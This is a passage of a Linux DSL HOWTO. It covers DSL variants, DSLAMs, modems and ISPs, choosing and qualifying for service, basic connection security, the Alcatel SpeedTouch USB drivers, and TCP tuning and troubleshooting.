    Rate Adaptive Digital Subscriber Loop was developed by Westell and has a potential of 2.2 Mbps downstream and 1.0 Mbps upstream. What makes RADSL more flexible is that the sync rate can be dynamically adjusted up or down as line conditions change. This makes it more of a viable alternative where line conditions are marginal due to distance or other factors. In many respects, RADSL is an enhanced ADSL to meet a more diverse set of line conditions. Like ADSL, RADSL can piggyback on the POTS line. RADSL does not require any splitters or filters.

  • HDSL

    High bit-rate DSL was one of earliest versions of DSL. HDSL requires multiple, dedicated wire pairs, and is symmetric at 1.5 Mbps/1.5 Mbps (the speed actually depends on number of wire pairs used). Not a viable alternative for the consumer or SOHO markets.

  • VDSL

    Very high rate Digital Subscriber Loop is a DSL still in development with a current downstream capacity of 52.8 Mbps, and upstream of 2.3 Mbps. At this time, VDSL is limited to very short loop lengths, and is not yet a viable alternative. It may find application where there is fiber to the neighborhood, and thus the copper loop segment is relatively short.

  • UDSL

    Unidirectional Digital Subscriber Loop is a proposal from Europe that is not yet in use.

  • G.SHDSL

    The standards for G.SHDSL have just recently been finalized. SHSDSL includes many enhancements, including better reach, better rate adaptation, and better upstream bandwidth. G.SHDSL is symmetric with speeds up to 2.3 Mbps, and will more than likely be marketed as an SDSL alternative.

6.2. The DSLAM

This technology is made possible by the placement of DSLAMs, or Digital Subscriber Loop Access Multiplexers, from such suppliers as Alcatel and Cisco, in the telco's Central Office, or sometimes a suitable remote location. DSLAMs come in various shapes and sizes, and are the one, single complex and costly component of a DSL connection. When a qualified phone line is connected to a modem at the user's end of the loop, a high speed digital connection is established, typically over ATM, or sometimes frame relay. The DSLAM splits the signal back into separate voice and data channels. The voice channel stays within the telco network, whereas the data is picked up by an ISP (typically).

Figure 4: A Typical DSL Connection Path

 Voice -+                                               +---> Voice
        |<-- copper loop --> DSLAM/CO <--{ATM cloud}--->|
 modem -+                       |                       +---> Inet
        |                       |                       |
 ether..|..... DSL/ATM here ....|.... raw ATM here .....|.. TCP/IP ..
        |                                               |
 SOHO...|............ telco (ILEC or CLEC) .............|.. ISP ..| NSP

6.2.1. Sync

A good, working connection to the DSLAM is referred to as "syncing". This is typically indicated by LEDs on the modem. Without sync, nothing happens. The modem will establish a sync rate which is often throttled by the provider at a predefined limit. This limit, or "cap", is at the provider's discretion and is part of the service that is being provided. Your modem may well sync at a higher rate than the "cap", but your speed will be limited to whatever "cap" the provider is enforcing. So while ADSL has an upward theoretical limit of 8 Mbps, you will not see that speed -- unless of course your provider is selling an 8 Mbps plan. Most plans are well below this.

Below is the status information from a SpeedStream 5660 modem/router via the built-in telnet interface. In this example, the customer is on a 1.5 Mbps/384 Kbps service:

 Command-> show dslstatus

 --- Channel Info               ATU-R                    ATU-C
  Current TX Rate  -           384000                  1500000
  Previous TX Rate -                0                        0
  CRC Block Length -                -                        -
  Interleave Delay -                -                        -

 --- Physical Layer Info        ATU-R                    ATU-C
  Current Attainable Rate -    448433                  3890243
  Current SNR Margin      -      10.5                     17.0
  Current Attenuation     -      54.5                     31.5
  Current Output Power    -       3.0                     16.0
  Current Status:
   Defects detected       -        No                       No
   Loss of Framing        -   No Loss                  No Loss
   Loss of Signal         -   No Loss                  No Loss
   Loss of Power          -   No Loss                  No Loss
   Loss of Signal Quality -   No Loss                  No Loss

 --- ATU-R Line Status
  Line Coding - DMT
  Line Type   - Fast or Interleaved

 Command->

First notice the "Current Attainable Rate" in the "ATU-C" column. This is the downstream sync rate negotiated by the modem and DSLAM, which is over 3.5 Mbps. The actual speed is limited, however, to 1.5 Mbps/384 Kbps from the first row "TX Rate". This is the theoretical limit of this connection. This limit, or "cap", can be enforced at the DSLAM, as is the case the here, or further upstream. Had the first row "TX Rate" been lower than the provider's imposed limit, then this would indicate some kind of problem with the connection, perhaps due to distance or some kind of line impairment.

The attainable sync rate is the result of a number of factors, including wire distance to the DSLAM, quality of both inside and outside wiring, the loop wire gauge and various other factors within the loop. Actual measurable, real world throughput, on the other hand, is first of all dependent on sync rate. Low sync rate means low throughput. In the above example, had the sync rate been lower, say 500 Kbps, then that would be the maximum for that connection, even though the customer is paying for a 1.5 Mbps service.

Secondarily, throughput will depend also on the ISP's network, and then the ISP's upstream provider. You will lose approximately 10-20% of potential throughput to networking overhead. In the above example where the connection is throttled at 1.5 Mbps, the actual, real-world maximum throughput would be somewhere around 1.2-1.3 Mbps when overhead is taken into account. Moreover, once you hit the Internet proper, all bets are off as there are any number of factors that may impact throughput. A overloaded or busy server is likely to be slow no matter how fast your DSL connection is.

6.3. DSL Modems

The modem is the last piece of the connection. The modem is connected directly to the DSLAM via the copper loop on the telco end, and plugs into a wall jack on your end. When all is well, the modem "syncs" with the DSLAM, and then makes an IP connection to the ISP, and off we go!

For Linux users, the modem is a very important consideration! There are many modems supplied by ISPs that are not Linux compatible. Your best bet is an external, ethernet interfaced modem (or modem/router combo) that connects via a standard ethernet NIC, since most other modem options (PCI, USB, onboard) will not work due to a lack of drivers at this time! All ethernet based modems will work fine. (See the Modems Section for an up-to-date list of compatible modems.)

With ethernet modems, the only potential compatibility issue is the Network Card (NIC). (And really any compatible ethernet NIC should do just fine -- 100 Mbps is not even necessary.) You are probably better off anyway, since PCI and USB modems tend to be more problem prone. If your chosen provider does not offer a compatible modem as an option, then you either need to look elsewhere, or you will have to buy one outright from a third party.

As always, there are exceptions. Xpeed now has drivers for two PCI modems included with the kernel drivers (as of 2.2.18). These are the first open source Linux DSL modem drivers, and is welcomed news. Alcatel's ADSL SpeedTouch USB modem now has Linux drivers. Diamond makes an internal PCI modem which has binary-only drivers, but it is not in widespread use, and seems to be discontinued at this point. It is also possible to make a direct ATM connection using a modem plus an ATM network card, though this delivery system is not used in the U.S. as far as I know, and should not be considered as a viable option. This would also require a 2.4 kernel.

The most common type of modem in use today is actually a combination "bridge" and modem device. The bridge is a simple device, typically with little configuration. Network traffic passes blindly across the ATM to ethernet bridge in either direction. Your point of exposure is the interface (typically a NIC) that is connected to the modem/bridge.

Some ISPs are also be offering "routers". These are basically combination modem/routers that can handle NAT, and may have other feature enhancements such as port forwarding, a built in hub, etc. These are all external, so should work too. But probably not a big deal for Linux users, since Linux can do anything these do, and more. A locked down Linux box makes a most excellent firewall/gateway/proxy!

To confuse things even more, there are also all-in-one devices: combo bridge+router+modem, sometimes called "brouters". In this case, the modem can be configured for either bridged or routed modes -- but it can't be both at the same time.

All providers should make available a modem of some sort. Many ISPs will have more than one modem option. Some may give away the modem at no additional charge. Some may offer a free base model, and charge the difference for the better models with more features. Many of the modems that ISPs supply are not available through normal retail channels. Should you want to buy one yourself, this leaves used equipment outlets (e.g. ebay), or possibly buying a modem that your ISP may not support (i.e. a possibility of no tech support if you have a problem).

While some ISPs provide modems that are not readily available through normal retail channels, there are a number of manufacturers that are getting on the DSL modem bandwagon, and offering a good selection. Most have a number of enhancements. At this time Alcatel, Intel, Zyxel, Cisco, 3Com, and Cayman have products available. Depending on model and feature set, prices range from a little over $100 US to $800 and up. Many of these handle their own authentication and encapsulation (DHCP, PPPoE, etc).

Are some modems better than others? Short answer: no. Modems are not much of a factor in speed. But some do have enhanced features, such as diagnostics or the combo modem/routers. Ethernet modems are generally considered the most reliable. Fewer IRQ hassles, no buggy drivers, etc. So the fact that Linux users are mostly relegated to ethernet modems is a blessing in disguise really. Are any of these better than others? Hard to say since most of this is so new there is not enough of a track record to compare brands and models with any degree of assurance. In other words, any old external, ethernet modem should do -- provided it matches your provider's DSL, and is configured for that service. Remember, there can be differences here.

Warning

Make sure any third party modem or router you may purchase is compatible with your DSL provider. There are two major line encodings for ADSL (CAP and DMT a.k.a. Alcatel compatible), and several options for IP encapsulation. And different DSLs (SDSL, IDSL, etc) will require their own modems too. Your provider should have a list of compatible options. It may well have to be configured for your ISP's service too. Don't expect it to work right out of the box either (unless it does indeed come from your provider). Many are accessible via telnet, or a web browser, where the configuration options are available. See the owner's manual for this.

6.4. The ISP Connection

The modem connects to the DSLAM, and then the DSLAM is connected to the telco's ATM network (or frame relay), where it is picked up by the ISP. The ISP typically will take over at what we "see" as the first hop on a traceroute. Everything up to that point is in the hands of the telco/DSL provider. The ISP will connect to the telco's ATM network via a high-speed data connection, usually ATM over a DS3 (45 Mbps) or possibly an OC-3 (155 Mbps). The important thing here is that an ISP must "subscribe" with your telco to provide this connection. The ISP will provide traditional ISP type services: email, DNS, news, etc. It is really a two step connection -- DSL from one provider, Internet from a second -- even though these may be combined into one billing.

The Baby Bells (RBOCs) in the U.S. all own ISPs. These, of course, are connected to their DSLAMs, and are providing Internet services via the telco's ISP subsidiary. Many independent ISPs are availing themselves of the ILEC's DSL services, and in essence "reselling" the DSL services of the ILEC. While the underlying infrastructure is the same in this case, having more than one ISP working out of a CO may mean a better selection of features and prices for the consumer.

CLECs (independent telcos) are now installing their own DSLAMs in many U.S. markets. This makes them a direct competitor to the ILEC. In this scenario, there would be two (or more) DSL providers in the same CO, each with their own DSLAM(s), and each competing against each other. This complicates the ISP situation even further, as each DSL provider will be "partnered" with one or more ISPs. If you are lucky here, you will have many choices of plans and pricing structures.

At this time, there is a shake out going on in the U.S. market. The independents are all struggling to match the deep pockets of the regional phone companies. The independents that have survived are now focusing more on small business and higher-end consumer customers. This means, it will cost more, but you should also expect to get more. Especially, in the quality department.

Typically, your service agreement is with the ISP, and not the DSL provider. This makes the actual DSL provider a "behind the scenes" player. This may vary, and in some cases, you may wind up with a separate service agreement for both the DSL provider and the ISP.

See the Appendix for a list of Linux Friendly ISPs.

6.5. Availability

Who can get DSL? The first requirement is that a telco has installed the necessary hardware somewhere on their end. Typically this is in the CO. You have no choice on which CO is yours -- it is wherever your loop terminates. If your CO has a DSLAM, and the necessary other components, then DSL may be available to you. This is often known as "pre-qualifying", and is Step One in getting service.

More and more "remote terminals (aka DSLAMs)" are being deployed. This is certainly good news for those that are a long way from the CO. CO distance is not the limiting factor it once was.

6.5.1. Ordering

Before ordering service, check to see what providers there are in your area. Look for options on both the telco/DSL side and the ISP side. You may have several options, including the large phone companies, as well as smaller, local ISPs. Once an order is placed, you must wait for the qualification process before a provider will agree to provide service.

6.5.2. Qualifying

Once local availability is established, the next step is "qualifying" your loop. The provider will run various tests to make sure that your loop can handle the DSL signal. This is to determine how suitable your line is for DSL, and maybe what level of service will be available to you. You probably will have to order service just to find out this much. It can be a fairly involved process, with a variety of different tests being run. There are a number of things that may "disqualify" a line. The most common limitation is distance.

All DSLs have distance limitations. ADSL is limited to a loop length of roughly 18,000 ft (5.5 km), but the actual cut off point will vary from provider to provider. The further away you are, the weaker the signal, and the potential for poor connections is greater. With ADSL, if you are within approximately 12,000 ft (3.7 km), you should be able to get at least 1.5 Mbps -- all other things being equal. IDSL has even greater reach, mainly because the maximum speed for IDSL is considerably lower at 144 Kbps/144 Kbps.

Still even if you're close enough, there are a number of potential impediments that may disqualify a line. Two such common impediments are load coils and bridge taps. These are aspects of the old telco infrastructure that once were deemed beneficial, but now are getting in the way of the newer, digital technologies. Whether you hit a snag like this or not, is pretty much hit or miss. Fiber anywhere in the loop is also a disqualifier. The provider may take steps to "clean" the line. Just how far they are willing to go will vary from provider to provider, and this will likely add additional time to the installation process.

Once the line is "qualified", the next step is deciding on which plan is suitable for your situation. The provider may have differing plans available depending on how strong a signal they think your line can handle. If you are marginal, you will not be qualified for the higher speed plans. And if price is a factor, having a tiered pricing structure is good also since the lower end plans are obviously less expensive. How this is structured also varies wildly from provider to provider. Since, DSL is a new service, and providers are trying to find the right price/feature combinations that will attract the most users and thus gain a competitive edge.

Some common data rates:

Downstream/Upstream

128 Kbps/128 Kbps

256 Kbps/256 Kbps

384 Kbps/128 Kbps

640 Kbps/90 Kbps

1.5 Mbps/384 Kbps

2.0 Mbps/512 Kbps

7.1 Mbps/1024 Kbps

and a near infinite number of other possibilities. The cost of different plans generally goes up with their speed.

Should you be disqualified, and have other options, get a second opinion. Calculating the effective loop length is by no means an exact science. There is plenty of room for errors. Also, some providers may go to greater lengths to "clean" the loop than others. And, if you have more than one phone line, and are disqualified, then try the other line. Just because they both terminate at your location, does not necessarily mean they are the same length! The telco network is full of surprises.

6.6. Choosing Providers

Should you have more than one choice, here are some things to keep in mind when comparing services from different providers. If you are in a populous area, chances are you do have a number of choices. There is a dizzying array of possibilities at this time. Remember too, that it is a two step connection: DSL provider and ISP. You may have choices for each.

  • A compatible modem. For now with Linux (or any alternative OS) this essentially means an ethernet interface. (There are rare exceptions.) "Routers" (i.e. combo modem/routers) should be OK too since these seem to be all ethernet devices.

  • Installation. A self-install option, of course, let's anyone get up and running, and is less expensive. But if there is no self-install available, will the the provider install onto a Linux only site? Many will not! Having a Windows (or Mac) box temporarily available is a work around here. Even a laptop may be enough.

  • Static vs Dynamic IP Address. If wanting to run servers, or hosting your own domain, static is the way to go. A dynamic IP, on the other hand, makes you a little harder to find should you wish to remain "invisible", or a least harder to keep track of.

  • Encapsulation. Is the connection "Bridged" or "PPP". PPPoX has the reputation of being not as stable a connection, and not "always on". PPPoE requires client software to manage the connection, so one more layer of code.

  • Server Policy. Some ISPs are fairly open about this, while others forbid any servers -- even personal web sites. Others may even go so far as to block certain ports.

  • Contract. Is there a contract, and what are the out clauses? Cancellation fees?

  • Connection Limits. Is it "always on" (at least theoretically :-)? Are there session limits, or idle timeouts? Is bandwidth metered and limited to so much per month? Do they forbid a LAN behind the connection (dumb!)?

  • Linux Support. A few ISPs may offer some degree of tech support for Linux, but most will not. This isn't so bad, as long as they don't go overboard and refuse to help with anything just because you run a non-supported OS. ("Supported" means like "tech support".) If they say "we don't care", you should be good to go.

  • Free Dialup Account. A nice thing to have if the connection is down, or you just need to check mail from another location.

  • Setup program. A few ISPs may have a setup program you are required to run the first time you connect in order to setup your account. This will likely not have a Linux version. (BellAtlantic.net was doing this at last report.) Other than this, there is nothing proprietary about DSL, and related protocols.

  • Reliability and Quality of Service. Ask around in your local area from those that have the same DSL provider and ISP. A local LUG is a good place to get this kind of info. How much down time (hopefully not much)? Are mail and news services good? Backbone routing? Tech support?

There are a number of other options and features that might be worth looking at too: multiple IPs, domain hosting (DNS), free web space, number of email accounts, web mail, etc. All things considered, the better plans are probably going to cost more for a reason.

Prev | Home | Next
Performance Tuning and Troubleshooting |  | Appendix: FAQ


Securing Your Connection

DSL HOWTO for Linux
Prev Next

4. Securing Your Connection

This section is intended for those who have not previously dealt with the security implications of having a full-time Internet connection. Or may not understand some of the basic concepts of security. This is meant to be just a quick overview, not a comprehensive examination of all the issues! Just enough to give you a gentle shove in the right direction. Please see the Links section for sites with more details. Also, your distribution surely has plenty of good information as well.

4.1. Security Quick-start

Before going on-line full-time, do not underestimate the need for securing your connection. You will have two things that mischief makers and crackers of the world are looking for: bandwidth, and a Unix-like OS. You instantly become an inviting target. It is just a matter of time before someone comes knocking. Possibly a very short time. A quick start:

  • Turn off any daemons and services that aren't absolutely essential, and can be accessed from outside. You can't get compromised through a port that isn't open. Use ps and netstat to see what services are running. (See man pages for specifics). Do you really need named, sendmail, telnet, ftp running and accessible to one and all? If not sure, then they should not be running. Then take whatever steps necessary to make sure they don't start again on the next boot. See your distribution's documentation on this.

    Many distributions start some well known services by default. You may not have done anything yourself explicitly to start these. And may not even realize these are indeed running. But it is up to you to know what is running, and how safe it is. Don't rely on a "default" installation of any distribution to do this for you, or to be secure. Chances are it isn't.

  • If you decide some services are essential, make sure you are running the most current version. Exploits are found, and then get fixed quickly. Don't get caught with your pants down. A full-time connection makes staying updated very easy -- and very important. Check with your distribution to see what new packages are available. Then stay in touch. If they have a security mailing list, get on it.

  • Take passwords seriously, using non-dictionary "words". Use shadow passwords (this should be a standard feature of newer distributions). Do not allow remote root logins. See the Security HOWTO for more details and ideas.

  • Use ssh instead of telnet or rsh.

  • Set up a firewall to limit access, and log connection attempts. This will be different depending on which kernel series you are using: ipfwadm for 2.0, ipchains for 2.2, and iptables for 2.4. See the below HOWTOs for a more in depth discussion on this and other security related topics:

    • Security-Quickstart-HOWTO and for Redhat based distros Security-Quickstart-Redhat-HOWTO

    • Firewall HOWTO

    • Security HOWTO

    • IPCHAINS HOWTO

    • Netfilter/Iptables docs

    • IP Masquerade HOWTO

    Additional references are in the Links Section below.

Prev | Home | Next
Configuring Linux |  | Performance Tuning and Troubleshooting


Appendix: The Alcatel SpeedTouch USB ADSL Modem

DSL HOWTO for Linux
Prev

9. Appendix: The Alcatel SpeedTouch USB ADSL Modem

The Alcatel SpeedTouch USB modem is one of a very few non-ethernet modems with Linux drivers. In fact, AFAIK, the only such ADSL modem. This modem is quite popular in Europe (Alcatel's home turf), and is widely used elsewhere as well. Hats off to Alcatel!

For this to work, you will essentially need three things: the Alcatel modem firmware and management utility (supplied directly by Alcatel in closed source, binary form), a properly configured kernel and PPP daemon, and the Linux modem driver and related configuration. The modem driver itself is open source. There are currently two distinct, unrelated drivers available.

When drivers were first released, the installation process required a fair amount of patching and rebuilding to make things work. Since then, things have progressed, and it can now be done without any patching (see below). How well all the pieces go together may depend on how old your Linux installation is, the kernel and PPP versions, and possibly what patches your vendor may have applied to their own packages. Recent Linux releases probably have most, if not all, of this already done, and hence you may not need to do any patching. I believe this is true of recent SuSE, Mandrake, and Debian (and probably others as well). You still need the Alcatel binary firmware, and a driver for the modem (if your distro does not include this). I would suggest checking your distro's web site, and search their archives for documents relating to this modem, and go from there as a first step. YMMV.

One obvious requirement is a kernel with USB support. USB and ATM support are better in recent kernels, and I would suggest if not using a very current Linux distribution, then at least get a recent kernel. And a quick note on kernels and patching: if using the kernel source supplied with a Linux distribution, it is most likely very heavily patched already. Applying patches to these can be hit or miss.

As always with Linux, there is more than one way to skin a cat. This is true of this modem and is resulting in some confusion since there are various documents circulating on this modem with various approaches taken. Some are more current than others too. Keep this in mind if you run into conflicting recommendations. Again, your distribution is probably the best source of documents.

There are two separate driver projects for this modem. The installation and configuration are completely different, as is the code base. Both are open source and GPL. One is a kernel module solution, originally developed by Alcatel, and now maintained by Johan Verrept. His HOWTO is located at http://linux-usb.sourceforge.net/SpeedTouch/howto.html. I think most would agree that the installation of this driver is the more complex of the two, and more than likely will require some patching (unless your distro has already done this). But, it may have some slight performance benefits since it runs mostly in kernel space. There is also the Alcatel-Speedtouch-USB-mini-HOWTO from Chris Jones, http://www.linuxdude.co.uk/docs/Alcatel-Speedtouch-USB-mini-HOWTO/. This driver can potentially support both PPPoE and PPPoA connections.

The other driver is by Benoit Papillault and friends. This one has a less complicated installation, and can be done with no patching. All the important parts here are done in user space. For inexperienced users, or just plain ease of use, this may well be the most painless way to go. The home page is http://sourceforge.net/projects/speedtouch and related docs are http://speedtouch.sourceforge.net/docs.php. This driver can also work with 2.2 kernels (2.2.17 or later). PPPoE is not an option with this driver at this time. This driver also does not use the management utility that is part of the Alcatel supplied binary package. It extracts the modem firmware, and then does its own "management", so less dependent on proprietary code. Mandrake is reportedly including an RPM of this driver now.

Since this modem potentially supports both PPPoE and PPPoATM connections, which one is better? Which ever is supported by your ISP, and then which ever works best for you! If your ISP supports both (some do and some don't), you might try each approach and make your own decision. There is no absolute right or wrong on such things. There are just too many variables. Theoretically at least, PPPoA should utilize a little less overhead and system resources.

There are other USB modems on the market that use an Alcatel chipset, such as the Efficient Networks 4060. Do not expect either of these drivers to work with other modems. They won't. You should get a compatible ethernet modem in such situations.

Prev | Home
Appendix: Miscellaneous |


Performance Tuning and Troubleshooting

DSL HOWTO for Linux
Prev Next

5. Performance Tuning and Troubleshooting

5.1. Tuning

OK, now we are up and running, and we want to be running at warp factor nine. No such thing as too fast, right?

Linux networking is pretty robust, even a default installation with no "tuning". You may well not need to do anything else. But if your connection is not performing up to what you think it should be, then possibly there is a problem somewhere. This is may be a more worthwhile approach than the pursuit of any magical "tweak".

A very rough guideline on what you might reasonably expect as a maximum sync rate, based on distance from DSLAM/CO:

0-12 K ft (0-3.6 km) - 2000 Kbps or more (8100 max for ADSL)
12-16 K ft (3.6-4.6 km) - 1500 Kbps -> 1000 Kbps
16-18 K ft (4.6-5.4 km) - 1200 Kbps -> 512 Kbps
18-?? K ft (5.4-?? km) - 512 Kbps -> 128 Kbps or less :(

There are many conceivable factors that could effect this one way or the other. Newer generations of DSL will surely improve this, as will related technologies like repeaters.

You will loose 10-20% of the modem's attainable sync rate to networking overheads (TCP, ATM, ethernet). So a 1500 Kbps connection, is only going to realize about 1100-1300 Kbps or so of real world throughput. No tweaking is going to change the built-in protocol overheads. Also, if your service is capped at a lesser speed by your provider, then you can't get above that speed no matter what. AND -- that there are numerous variables that can effect your loop/signal quality, and subsequently your speed (aka sync rate). Some of these may be beyond your control.

But there are a few things that you might want to look at.

5.1.1. TCP Receive Window

For many of us, a default Linux installation is going to give something close to optimum performance. Windows 9x users often get a big boost by increasing their TCP Receive Window (RWIN). But this is because it is too small to start with. This is just not the case with Linux where the default value is 32KB.

The exception here is if you have to routinely deal with a high latency connection. For instance, if your provider has a satellite uplink that is consistently adding unusual latency (250ms or greater?). Then a larger TCP Window will likely help. For more on TCP Receive Window and related issues, look at http://www.psc.edu/networking/perf_tune.html.

The Receive Window is a buffer that helps control the flow of data. If set too low, it can be a bottleneck and restrict throughput. The optimum value for this depends completely on your bandwidth and latency. Latency being what you would find as average roundtrip time (RTT) based on your typical destinations and conditions. This can be determined with ping. For example, the Linux default of 32KB is acceptable up to speeds of 2 Mbps and a typical latency of 125ms or so, or 1.0 Mbps and latency of 250ms. Setting this value too high can also adversely effect throughput, so don't over do it.

An example courtesy of Juha Saarinen of New Zealand:

The commonly used formula for working out the the tcp buffer is the "bandwidth delay product" one:

Buffer size = Bandwidth (bits/s) * RTT (seconds)

In my case, I have roughly 8Mbps downstream, but the ATM network can only support ~3.5Mbps sustained. I'm far away from the rest of the world, so to squeeze in a sufficient amount of 1,500 byte packets, with average RTTs of 250ms, I should probably have a buffer of (3,500,000/8)*.25 = 106KB. (I've got 128KB at the moment, which works fine.)

The Receive Window can be dynamically set in the /proc filesystem. This requires entering a value that is twice the desired buffer size:

 #echo 262144 > /proc/sys/net/core/rmem_default
 #echo 262144 > /proc/sys/net/core/rmem_max

The above example actually sets the value to 128K. The Send Window can also be set, but is not as likely to be a limiting factor on DSL connections as the Receive Window:

 #echo 262144 > /proc/sys/net/core/wmem_default
 #echo 262144 > /proc/sys/net/core/wmem_max

These values can also be set using the sysctl command. See the man page.

Other suggested kernel options for those who want to squeeze every last bit out of that copper (selected entries only):

 # sysctl -a
 net.ipv4.tcp_rfc1337 = 1
 net.ipv4.ip_no_pmtu_disc = 0
 net.ipv4.tcp_sack = 1
 net.ipv4.tcp_fack = 1
 net.ipv4.tcp_window_scaling = 1
 net.ipv4.tcp_timestamps = 1
 net.ipv4.tcp_ecn = 0

A brief description of these, and other, options may be found in /usr/src/linux/Documentation/networking/ip-sysctl.txt, in the kernel source directory.

5.1.2. Interleaving

"Interleaving" is an error control mechanism of ADSL with DMT line encoding. DMT is now the standard for ADSL, and is by far and away the most prevalent form of ADSL. Interleaving buffers the raw data and corrects errors on the fly at the DSLAM. This can significantly help marginal loops that may be prone to line errors. The downside is that this buffering also adds significant latency to the connection. So for those with reasonable quality lines, interleaving is of no real benefit, and may actually add unnecessary latency.

Interleaving is an adjustable parameter and can be turned on or off by the telco. Many telcos seem to like to have this on by default, since it probably reduces tech support calls in those cases where it does help stabilize a line. But everyone else pays a price.

How to know if your line is interleaved or not, and how to change it? Good question. Generally speaking, if your first hop or two on a traceroute is less than 25ms or so, you can pretty much figure that interleaving is off. But there may be other factors such as how far away those hops actually are. Unless your modem accurately reports this, the only other real way to know is to talk to someone at the telco. This may prove easier said than done.

"FastPath" DMT is synonymous with "interleaving off". Again, this only applies to ADSL/DMT.

5.1.3. TCP Bottlenecks

DSL connections may suffer performance degradations under certain circumstances. Thankfully, Linux has very robust and flexible networking tools to help us deal with these.

One such common situation is where traffic bottlenecks are created whenever data from a fast network segment hits a slower one. Such as ethernet hitting a DSL modem/router. This can cause short term traffic backlogs, known as "queues" in the device. Queuing can result in degraded performance, particularly for interactive protocols (like telnet or ssh) and streaming protocols (like RealAudio), and increased latency for ICMP and other network protocols. This is most evident when the upstream link is saturated (since downstream data is queued at the ISP's end and we can't do as much about that). The queued traffic is processed such that lower volume traffic protocols (like ssh) often get drowned out so to speak, by the higher volume, bulk traffic (like http or ftp), as there isn't any special prioritizing in default usage.

And if the upstream queuing, or other factors, causes enough of a delay, it can even decrease downstream bandwidth utilization by slowing the ACKnowledgements (which are heading upstream), that are required to keep a download moving at optimal rates. So it is possible that an upload can hurt a simultaneous download.

Such effects can be largely mitigated with Linux's built-in traffic shaping abilities. The user space tool for manipulating the kernel's advanced traffic routing features is iproute, sometimes packaged as iproute2. This includes various tools that can classify and prioritize traffic with a considerable degree of flexibility. It also requires various kernel config options to be turned on. And is also fairly close to Black Magic ;-) The definitive document on this is the Advanced Routing and Traffic Control HOWTO (http://linuxdoc.org/HOWTO/Adv-Routing-HOWTO.html). Pay particular attention to the "Cookbook" Section #15, and in particular #15.8, "The Ultimate Traffic Conditioner: Low Latency, Fast Up & Downloads". A great read!

5.1.4. Dropped PPP Connections

PPPoE and PPPoA both rely on the venerable PPP protocol. This protocol incorporates the Link Control Protocol (LCP), which is used to maintain the viability of the connection. Each end can send LCP echoes to other end, and if there is no response in the alloted time frame, the session is presumed dead, and is torn down. Again, either end can initiate this process. The client should then negotiate a new connection. But, this normally means a new IP address is assigned along with the new session.

Perhaps this is undesirable? While you certainly can't control what happens on the remote end in this regard, you can adjust PPP's very flexible way of dealing with LCP echoes on your end, to increase the number of echoes, extend the interval and timeout period on your end. This might help prolong the life of an unstable connection in situations with marginal line conditions, or a buggy peer on the other end. Read your client's documentation. YMMV.

Some providers may deliberately enforce some time limit. There is not much you can do about this.

Also, frequently dropped connections are often an indication of a line problem of some kind. This is something the telco should investigate.

5.2. Installation Problems

Read this section, if you have no sync at all or are completely unable to connect. See your modem's owner's manual for interpreting the modem's LEDs. (Many will show a solid red (or orange) light if not in sync.)

5.2.1. No sync

The modem sync LED has never been green.

  • If doing a self-install, the DSL jack may be wired wrong, or the splitter may be wired wrong. Also, the modem may be wired differently than standard telco POTS devices. See above.

  • Is the modem Linux compatible? If ethernet interfaced, this should not be a problem. But PCI or USB modems may require drivers just to achieve sync. This could be a show stopper since most PCI and USB modems are not Linux compatible.

  • Call your provider and make sure the line was provisioned. It is always possible someone dropped the ball. They may even be able to run a remote test on your line just to verify. There is a also remote possibility that the DSLAM is down. They should know this as well.

  • Disconnect the modem power cord and disconnect the DSL cord from the wall jack. Plug it into the test jack inside the NID (outside phone box), and run an extension cord if necessary for power. Temporarily disconnect the wiring to the inside phone circuit. This should effectively bypass any inside wiring and environmental issues. The ethernet cable to the NIC does not need to be connected to run this test (true only for ethernet modems). The modem will sync fine without it. (Easier said than done, I know.) But if possible, move enough of your system where you can view the modem's diagnostics (if available) and get the sync rate. If this works, there is probably something wired incorrectly inside, or a short in a connection somewhere, or there is severe electrical interference on the DSL line. Double check the splitter and wall jack connections. If a splitterless installation, look for bad wiring, bad (e.g. corroded) connections on all jacks, bad splices, or defective microfilters!

    If no sync on the above test, either the line was not readied, the modem is defective, or the DSLAM is down. Note that PCI and USB modems will need to load drivers before syncing, and thus make this test a little more complicated.

  • If you installed microfilters, remove these temporarily and unplug all telco devices, such as fax machines, etc. Possibly a mircofilter is defective and shorting out the line.

5.2.2. Network Card (NIC) Problems

Symptoms here are: NIC is not recognized, modules won't load, or ifconfig shows the interface is not up, or is generating lots of errors, etc.

  • Turn off Plug 'n Pray in BIOS. This may be labeled as "non-Microsoft OS" or similar. A sometimes symptom here is that the NIC is assigned IRQ 0. Or there may be an error message like "resource temporarily unavailable".

  • Check for IRQ conflicts with cat /proc/interrupts. If the NIC is sharing an IRQ, try moving cards around in slots, or tinker with BIOS IRQ settings. If an ISA card, you may need to get the setup utility from the manufacturer and use it to set IRQ, etc. This may require booting to DOS. Modern systems should theoretically be able to handle IRQ sharing, so it is not necessarily a problem in and of itself. Only if something is misbehaving.

  • Possibly the wrong module is being loaded. Look through the kernel source documentation in /usr/src/linux/Documentation/* for your card or chipset. Also, for comments and update information in /usr/src/linux/drivers/net/*.c for your respective chipset. It is worth noting that there is more than one module for some card types. This seems to be true of tulip and 3Com cards. Check boot messages or use lspci -v to see how the kernel is identifying your card. You can use insmod, rmmod, and modprobe to test different modules. See the respective man pages for more information.

  • Check the manufacturer's web site for Linux documentation. Or look at Donald Becker's informative site at http://www.scyld.com/network/.

  • Some Linux NIC drivers reportedly work better as non-modular. In other words, compile them into the kernel instead of as a module.

  • It is also possible that the card is bad, or the drivers just aren't up to snuff. Try another card. And you don't need an expensive, high quality card necessarily either.

5.2.3. IP Connection Problems

Read this section if you are sure the modem is syncing, the NIC is recognized and seems to be working properly, client software is installed and running without error, but the connection to the ISP fails. Verify the modem is indeed syncing by the LED(s). An IP connection failure may be evidenced by ifconfig not showing an active eth0 interface (or ppp0 for PPPoX), or pinging gateway and other destinations generates 'network unreachable' or similar errors.

  • Make sure you know which protocol your ISP is using. Are they using DHCP? PPPoX? It is critical that you have this right. You may have to ask tech support.

  • If you are using DHCP, does the ISP require MAC address authentication, and if so, do they have the right address? Did they or you typo it? If the ISP requires hostname authentication, is your DHCP client passing the required hostname? This is done with the "- h" command line option.

  • Look at /var/log/messages and see if any useful clues are there. Also, run tcpdump while trying to initiate the connection. tcpdump output is fairly cryptic, but you should be able to determine if there is any response at all.

  • If PPPoX, is the ISP using username as an id, or username@isp.com?

  • Try pinging the default gateway's address. Get this with 'route -n'. If you can ping by IP address (i.e. 111.222.333.444), but not by hostname, then likely nameservers are not correctly setup in /etc/resolv.conf.

  • For PPPoE, let the PPPoE client bring up the ethernet interface. Do not have it come up on boot. Make sure there is no existing default route before starting PPPoE. For rp-pppoe, David Skoll recommends that /etc/ppp/options be left empty.

